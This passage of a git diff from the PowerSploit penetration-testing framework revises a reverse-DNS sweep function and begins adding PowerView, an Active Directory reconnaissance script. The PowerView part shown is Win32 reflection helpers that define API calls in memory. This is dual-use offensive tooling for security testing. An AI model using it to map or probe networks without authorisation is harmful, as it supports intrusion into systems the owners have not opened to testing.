low-high range, or a CIDR range. Comma-delimited ranges may can be provided. - + .EXAMPLE -C:\PS> Invoke-ReverseDnsLookup 74.125.228.0/29 +Invoke-ReverseDnsLookup 74.125.228.0/29 IP HostName -- -------- @@ -31,165 +31,194 @@ IP HostName 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the CIDR range. - + .EXAMPLE -C:\PS> Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' - +Invoke-ReverseDnsLookup '74.125.228.1,74.125.228.4-74.125.228.6' + IP HostName -- -------- 74.125.228.1 iad23s05-in-f1.1e100.net 74.125.228.4 iad23s05-in-f4.1e100.net 74.125.228.5 iad23s05-in-f5.1e100.net 74.125.228.6 iad23s05-in-f6.1e100.net - + Description ----------- Returns the hostnames of the IP addresses specified by the IP range specified. - + +.EXAMPLE + +Write-Output "74.125.228.1,74.125.228.0/29" | Invoke-ReverseDnsLookup + +IP HostName +-- -------- +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.1 iad23s05-in-f1.1e100.net +74.125.228.2 iad23s05-in-f2.1e100.net +74.125.228.3 iad23s05-in-f3.1e100.net +74.125.228.4 iad23s05-in-f4.1e100.net +74.125.228.5 iad23s05-in-f5.1e100.net +74.125.228.6 iad23s05-in-f6.1e100.net + +Description +----------- +Returns the hostnames of the IP addresses piped from another source. + .LINK http://www.exploit-monday.com +https://github.com/mattifestation/PowerSploit #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True)] + [Parameter(Position = 0, Mandatory = $True,ValueFromPipeline=$True)] [String] $IpRange ) - function Parse-IPList ([String] $IpRange) - { - - function IPtoInt - { - Param([String] $IpString) - - $Hexstr = "" - $Octets = $IpString.Split(".") - foreach ($Octet in $Octets) { - $Hexstr += "{0:X2}" -f [Int] $Octet - } - return [Convert]::ToInt64($Hexstr, 16) - } - - function InttoIP - { - Param([Int64] $IpInt) - $Hexstr = $IpInt.ToString("X8") - $IpStr = "" - for ($i=0; $i -lt 8; $i += 2) { - $IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16) - $IpStr += '.' - } - return $IpStr.TrimEnd('.') - } - - $Ip = [System.Net.IPAddress]::Parse("127.0.0.1") - - foreach ($Str in $IpRange.Split(",")) + BEGIN { + + function Parse-IPList ([String] $IpRange) { - $Item = $Str.Trim() - $Result = "" - $IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" - - # First, validate the input - switch -regex ($Item) + + function IPtoInt { - "^$IpRegex/\d{1,2}$" - { - $Result = "cidrRange" - break - } - "^$IpRegex-$IpRegex$" - { - $Result = "range" - break - } - "^$IpRegex$" - { - $Result = "single" - break - } - default - { - Write-Warning "Inproper input" - return + Param([String] $IpString) + + $Hexstr = "" + $Octets = $IpString.Split(".") + foreach ($Octet in $Octets) { + $Hexstr += "{0:X2}" -f [Int] $Octet } + return [Convert]::ToInt64($Hexstr, 16) } - - #Now, start processing the IP addresses - switch ($Result) + + function InttoIP { - "cidrRange" - { - $CidrRange = $Item.Split("/") - $Network = $CidrRange[0] - $Mask = $CidrRange[1] - - if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return} - if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return} - - $BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0') - #Generate lower limit (Excluding network address) - $Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1" - #Generate upperr limit (Excluding broadcast address) - $Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0" - $LowerInt = [Convert]::ToInt64($Lower, 2) - $UpperInt = [Convert]::ToInt64($Upper, 2) - for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i } + Param([Int64] $IpInt) + $Hexstr = $IpInt.ToString("X8") + $IpStr = "" + for ($i=0; $i -lt 8; $i += 2) { + $IpStr += [Convert]::ToInt64($Hexstr.SubString($i,2), 16) + $IpStr += '.' } - "range" + return $IpStr.TrimEnd('.') + } + + $Ip = [System.Net.IPAddress]::Parse("127.0.0.1") + + foreach ($Str in $IpRange.Split(",")) + { + $Item = $Str.Trim() + $Result = "" + $IpRegex = "\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}" + + # First, validate the input + switch -regex ($Item) { - $Range = $item.Split("-") - - if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip } - else { Write-Warning "Invalid IP address supplied!"; return } - - if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip } - else { Write-Warning "Invalid IP address supplied!"; return } - - $Left = (IPtoInt $Temp1.ToString()) - $Right = (IPtoInt $Temp2.ToString()) - - if ($Right -gt $Left) { - for ($i = $Left; $i -le $Right; $i++) { InttoIP $i } + "^$IpRegex/\d{1,2}$" + { + $Result = "cidrRange" + break + } + "^$IpRegex-$IpRegex$" + { + $Result = "range" + break + } + "^$IpRegex$" + { + $Result = "single" + break + } + default + { + Write-Warning "Improper input" + return } - else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return} - - break - } - "single" - { - if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString } - else { Write-Warning "Invalid IP address supplied!"; return } - break } - default + + #Now, start processing the IP addresses + switch ($Result) { - Write-Warning "An error occured." - return + "cidrRange" + { + $CidrRange = $Item.Split("/") + $Network = $CidrRange[0] + $Mask = $CidrRange[1] + + if (!([System.Net.IPAddress]::TryParse($Network, [ref] $Ip))) { Write-Warning "Invalid IP address supplied!"; return} + if (($Mask -lt 0) -or ($Mask -gt 30)) { Write-Warning "Invalid network mask! Acceptable values are 0-30"; return} + + $BinaryIP = [Convert]::ToString((IPtoInt $Network),2).PadLeft(32,'0') + #Generate lower limit (Excluding network address) + $Lower = $BinaryIP.Substring(0, $Mask) + "0" * ((32-$Mask)-1) + "1" + #Generate upper limit (Excluding broadcast address) + $Upper = $BinaryIP.Substring(0, $Mask) + "1" * ((32-$Mask)-1) + "0" + $LowerInt = [Convert]::ToInt64($Lower, 2) + $UpperInt = [Convert]::ToInt64($Upper, 2) + for ($i = $LowerInt; $i -le $UpperInt; $i++) { InttoIP $i } + } + "range" + { + $Range = $item.Split("-") + + if ([System.Net.IPAddress]::TryParse($Range[0],[ref]$Ip)) { $Temp1 = $Ip } + else { Write-Warning "Invalid IP address supplied!"; return } + + if ([System.Net.IPAddress]::TryParse($Range[1],[ref]$Ip)) { $Temp2 = $Ip } + else { Write-Warning "Invalid IP address supplied!"; return } + + $Left = (IPtoInt $Temp1.ToString()) + $Right = (IPtoInt $Temp2.ToString()) + + if ($Right -gt $Left) { + for ($i = $Left; $i -le $Right; $i++) { InttoIP $i } + } + else { Write-Warning "Invalid IP range. The right portion must be greater than the left portion."; return} + + break + } + "single" + { + if ([System.Net.IPAddress]::TryParse($Item,[ref]$Ip)) { $Ip.IPAddressToString } + else { Write-Warning "Invalid IP address supplied!"; return } + break + } + default + { + Write-Warning "An error occurred." + return + } } } } - } - Parse-IPList $IpRange | ForEach-Object { - try { - $Temp = [System.Net.Dns]::GetHostEntry($_) - - $Result = @{ - IP = $_ - HostName = $Temp.HostName + PROCESS { + Parse-IPList $IpRange | ForEach-Object { + try { + Write-Verbose "Resolving $_" + $Temp = [System.Net.Dns]::GetHostEntry($_) + + $Result = @{ + IP = $_ + HostName = $Temp.HostName + } + + New-Object PSObject -Property $Result } - - New-Object PSObject -Property $Result - } catch [System.Net.Sockets.SocketException] {} + catch [System.Net.Sockets.SocketException] { + Write-Verbose "Error: $_" + } + } } - } diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 new file mode 100755 index 00000000..2dc5234a --- /dev/null +++ b/Recon/PowerView.ps1 @@ -0,0 +1,20914 @@ +#requires -version 2 + +<# + +PowerSploit File: PowerView.ps1 +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +#> + + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule { +<# +.SYNOPSIS + +Creates an in-memory assembly and module + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName + +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE + +$Module = New-InMemoryModule -ModuleName Win32 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func { + Param ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with unmanaged (i.e. +Win32 unmanaged) functions in PowerShell. After providing +Add-Win32Type with a function signature, a .NET type is created +using reflection (i.e. csc.exe is never called like with Add-Type). + +The 'func' helper function can be used to reduce typing when defining +multiple function definitions. + +.PARAMETER DllName + +The name of the DLL. + +.PARAMETER FunctionName + +The name of the target function. + +.PARAMETER EntryPoint + +The DLL export function name. This argument should be specified if the +specified function name is different than the name of the exported +function. + +.PARAMETER ReturnType + +The return type of the function. + +.PARAMETER ParameterTypes + +The function parameters. + +.PARAMETER NativeCallingConvention + +Specifies the native calling convention of the function. Defaults to +stdcall. + +.PARAMETER Charset + +If you need to explicitly call an 'A' or 'W' Win32 function, you can +specify the character set. + +.PARAMETER SetLastError + +Indicates whether the callee calls the SetLastError Win32 API +function before returning from the attributed method. + +.PARAMETER Module + +The in-memory module that will host the functions. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER Namespace + +An optional namespace to prepend to the type. Add-Win32Type defaults +to a namespace consisting only of the name of the DLL. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Kernel32 = $Types['kernel32'] +$Ntdll = $Types['ntdll'] +$Ntdll::RtlGetCurrentPeb() +$ntdllbase = $Kernel32::GetModuleHandle('ntdll') +$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + +.NOTES + +Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + +When defining multiple function prototypes, it is ideal to provide +Add-Win32Type with an array of function signatures. That way, they +are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $DllName, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [String] + $EntryPoint, + + [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName=$True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum { +<# +.SYNOPSIS + +Creates an in-memory enumeration for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +The 'psenum' function facilitates the creation of enums entirely in +memory using as close to a "C style" as PowerShell will allow. + +.PARAMETER Module + +The in-memory module that will host the enum. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the enum. + +.PARAMETER Type + +The type of each enum element. + +.PARAMETER EnumElements + +A hashtable of enum elements. + +.PARAMETER Bitfield + +Specifies that the enum should be treated as a bitfield. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 +} + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Enum. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field { + Param ( + [Parameter(Position = 0, Mandatory=$True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory=$True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# +.SYNOPSIS + +Creates an in-memory struct for use in your PowerShell session. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: field + +.DESCRIPTION + +The 'struct' function facilitates the creation of structs entirely in +memory using as close to a "C style" as PowerShell will allow. Struct +fields are specified using a hashtable where each field of the struct +is comprosed of the order in which it should be defined, its .NET +type, and optionally, its offset and special marshaling attributes. + +One of the features of 'struct' is that after your struct is defined, +it will come with a built-in GetSize method as well as an explicit +converter so that you can easily cast an IntPtr to the struct without +relying upon calling SizeOf and/or PtrToStructure in the Marshal +class. + +.PARAMETER Module + +The in-memory module that will host the struct. Use +New-InMemoryModule to define an in-memory module. + +.PARAMETER FullName + +The fully-qualified name of the struct. + +.PARAMETER StructFields + +A hashtable of fields. Use the 'field' helper function to ease +defining each field. + +.PARAMETER PackingSize + +Specifies the memory alignment of fields. + +.PARAMETER ExplicitLayout + +Indicates that an explicit offset for each field will be specified. + +.EXAMPLE + +$Mod = New-InMemoryModule -ModuleName Win32 + +$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C +} + +$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 +} + +# Example of using an explicit layout in order to create a union. +$TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 +} -ExplicitLayout + +.NOTES + +PowerShell purists may disagree with the naming of this function but +again, this was developed in such a way so as to emulate a "C style" +definition as closely as possible. Sorry, I'm not going to name it +New-Struct. :P +#> + + [OutputType([Type])] + Param ( + [Parameter(Position = 1, Mandatory=$True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory=$True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() +} + + +######################################################## +# +# Misc. helpers +# +######################################################## + +Function New-DynamicParameter { +<# +.SYNOPSIS + +Helper function to simplify creating dynamic parameters. + + Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. + Originally released under the Microsoft Public License (Ms-PL). + +.DESCRIPTION + +Helper function to simplify creating dynamic parameters. + +Example use cases: + Include parameters only if your environment dictates it + Include parameters depending on the value of a user-specified parameter + Provide tab completion and intellisense for parameters, depending on the environment + +Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. + Use New-DynamicParameter with 'CreateVariables' switch in your main code block, + ('Process' for advanced functions) to create those variables. + Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. + +This function has two operating modes: + +1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, +with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. + +2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. +Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, +with custom conditions and so on. + +.NOTES + +Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: + https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 + http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ + http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ + +Credit to BM for alias and type parameters and their handling + +.PARAMETER Name + +Name of the dynamic parameter + +.PARAMETER Type + +Type for the dynamic parameter. Default is string + +.PARAMETER Alias + +If specified, one or more aliases to assign to the dynamic parameter + +.PARAMETER Mandatory + +If specified, set the Mandatory attribute for this dynamic parameter + +.PARAMETER Position + +If specified, set the Position attribute for this dynamic parameter + +.PARAMETER HelpMessage + +If specified, set the HelpMessage for this dynamic parameter + +.PARAMETER DontShow + +If specified, set the DontShow for this dynamic parameter. +This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. +http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ + +.PARAMETER ValueFromPipeline + +If specified, set the ValueFromPipeline attribute for this dynamic parameter + +.PARAMETER ValueFromPipelineByPropertyName + +If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter + +.PARAMETER ValueFromRemainingArguments + +If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter + +.PARAMETER ParameterSetName + +If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. + +.PARAMETER AllowNull + +If specified, set the AllowNull attribute of this dynamic parameter + +.PARAMETER AllowEmptyString + +If specified, set the AllowEmptyString attribute of this dynamic parameter + +.PARAMETER AllowEmptyCollection + +If specified, set the AllowEmptyCollection attribute of this dynamic parameter + +.PARAMETER ValidateNotNull + +If specified, set the ValidateNotNull attribute of this dynamic parameter + +.PARAMETER ValidateNotNullOrEmpty + +If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter + +.PARAMETER ValidateRange + +If specified, set the ValidateRange attribute of this dynamic parameter + +.PARAMETER ValidateLength + +If specified, set the ValidateLength attribute of this dynamic parameter + +.PARAMETER ValidatePattern + +If specified, set the ValidatePattern attribute of this dynamic parameter + +.PARAMETER ValidateScript + +If specified, set the ValidateScript attribute of this dynamic parameter + +.PARAMETER ValidateSet + +If specified, set the ValidateSet attribute of this dynamic parameter + +.PARAMETER Dictionary + +If specified, add resulting RuntimeDefinedParameter to an existing 